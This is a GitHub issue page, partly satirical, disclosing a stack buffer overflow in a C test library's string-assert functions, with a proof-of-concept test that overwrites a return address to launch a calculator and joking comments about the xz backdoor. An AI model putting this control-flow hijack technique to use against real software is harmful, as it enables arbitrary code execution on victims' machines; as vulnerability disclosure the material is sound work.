Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exploitable stack buffer overflow #11

Open
msftedge opened this issue Mar 30, 2024 · 10 comments
Open

Exploitable stack buffer overflow #11

msftedge opened this issue Mar 30, 2024 · 10 comments

Comments

@msftedge
Copy link

msftedge commented Mar 30, 2024

Good afternoon,

There is a stack-based buffer overflow vulnerability in various functions of this library, including stest_assert_string_equal and assert_n_array_equal. If the library is used to test untrusted input (for example, a file you found in tukaani-project/xz) a devious individual would be able to construct a malicious file to achieve arbitrary code execution on anyone running the tests.

I have included an example of how it might look on x86_64 Linux. Here as an example I hijack the return to go to a predefined function, but of course you could ROP instead.

#include "../src/stest.h"
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <stddef.h>
#include <memory.h>

#define without_logging(X) stest_disable_logging(); X; stest_enable_logging();
#define assert_test_passes(X) without_logging(X); stest_assert_last_passed(__FUNCTION__, __LINE__);
#define assert_test_fails(X) without_logging(X); stest_assert_last_failed(__FUNCTION__, __LINE__);

static void example() {
  execl("/usr/bin/gnome-calculator", "gnome-calculator", NULL);
}

static void test_stack_nuke() {
  // E.g. read a wholesome file provided kindly by the XZ maintainer
  static char untrusted_input[10100] = {0};
  memset(untrusted_input, 'A', 10000);
  *(uint64_t*)&untrusted_input[10000] = example;

  // What could go wrong
  assert_test_fails(assert_string_equal(NULL, untrusted_input));
}

void test_fixture_stest() {
  test_fixture_start();
  run_test(test_stack_nuke);
  test_fixture_end();
}

int main(int argc, char **argv) {
  return stest_testrunner(argc, argv, test_fixture_stest, NULL, NULL);
}

I trust you will fix this issue promptly, I am sure security is a high priority.

@dandykong
Copy link

dandykong commented Mar 31, 2024

// E.g. read a wholesome file provided kindly by the XZ maintainer

Is this the same exact payload used to backdoor xz?

@vilari-mickopf
Copy link

Is this exploit applicable to any linux, or does it only target debian/redhat distributions?

@64ArthurAraujo
Copy link

Is this exploit applicable to any linux, or does it only target debian/redhat distributions?

xz-utils version 5.6.0 and 5.6.1 are compromised, if you are not using debian sid or other bleeding edge distro you should be fine.

@vilari-mickopf
Copy link

vilari-mickopf commented Apr 1, 2024

@64ArthurAraujo
It was just a joke about this issue because the entire issue is itself a joke.

@64ArthurAraujo
Copy link

@64ArthurAraujo
It was just a joke about this issue because the entire issue is itself a joke.

i tought you were asking about the xz vulnerability lol

@SnzFor16Min
Copy link

Good second issue! Unfortunately the maintainer would have considered this as a great new feature.

@vilari-mickopf
Copy link

lgtm

@levizoesch
Copy link

Damn, he was just trying to make sure he can get a hold of you about your cars extended warranty...

@nb-programmer
Copy link

Don't worry, we'll just raise a PR in oss-fuzz to skip checking for stack buffer overflow in this repo :)

@danielgran
Copy link

LGTM

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

8 participants